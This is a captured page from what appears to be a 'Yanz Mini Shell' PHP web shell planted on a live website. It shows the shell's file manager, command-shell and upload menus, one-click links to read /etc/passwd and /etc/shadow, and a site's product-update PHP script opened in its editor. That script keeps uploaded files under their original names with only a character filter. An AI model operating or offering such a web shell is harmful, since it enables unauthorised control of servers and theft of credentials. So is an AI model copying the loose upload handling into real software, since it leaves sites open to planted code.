Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
sparkline
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php header('Content-Type: application/json'); include '../../config/config.php'; $response = ["status" => "error", "message" => "Unknown error occurred"]; try { // Required fields validation if ( empty($_POST['id']) || empty($_POST['product_name']) || empty($_POST['category']) || empty($_POST['price']) || empty($_POST['status']) ) { throw new Exception("Required fields are missing."); } $id = $_POST['id']; $name = $_POST['product_name']; $category = $_POST['category']; $price = $_POST['price']; $status = $_POST['status']; $description = $_POST['description'] ?? ""; // Check if product exists $stmt = $pdo->prepare("SELECT * FROM tbl_product WHERE id = ?"); $stmt->execute([$id]); $existing = $stmt->fetch(PDO::FETCH_ASSOC); if (!$existing) { throw new Exception("Product not found."); } $imagePaths = []; // If new images uploaded, process them if (!empty($_FILES['images']['name'][0])) { $uploadDir = '../../uploads/products/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0777, true); } foreach ($_FILES['images']['tmp_name'] as $index => $tmpName) { if (!empty($tmpName) && is_uploaded_file($tmpName)) { $originalName = basename($_FILES['images']['name'][$index]); $fileName = time() . "_" . preg_replace("/[^a-zA-Z0-9\._-]/", "", $originalName); $targetFile = $uploadDir . $fileName; if (move_uploaded_file($tmpName, $targetFile)) { $imagePaths[] = 'uploads/products/' . $fileName; } else { throw new Exception("Failed to upload file: " . $originalName); } } } } else { // Keep existing images $imagePaths = explode(',', $existing['images']); } $imageList = implode(',', $imagePaths); // Update product $stmt = $pdo->prepare("UPDATE tbl_product SET product_name=?, category_id=?, price=?, status=?, description=?, images=? WHERE id=?"); $stmt->execute([$name, $category, $price, $status, $description, $imageList, $id]); $response = ["status" => "success", "message" => "Product updated successfully."]; } catch (Exception $e) { $response = ["status" => "error", "message" => $e->getMessage()]; } echo json_encode($response);
Free Space : 11467210752 Byte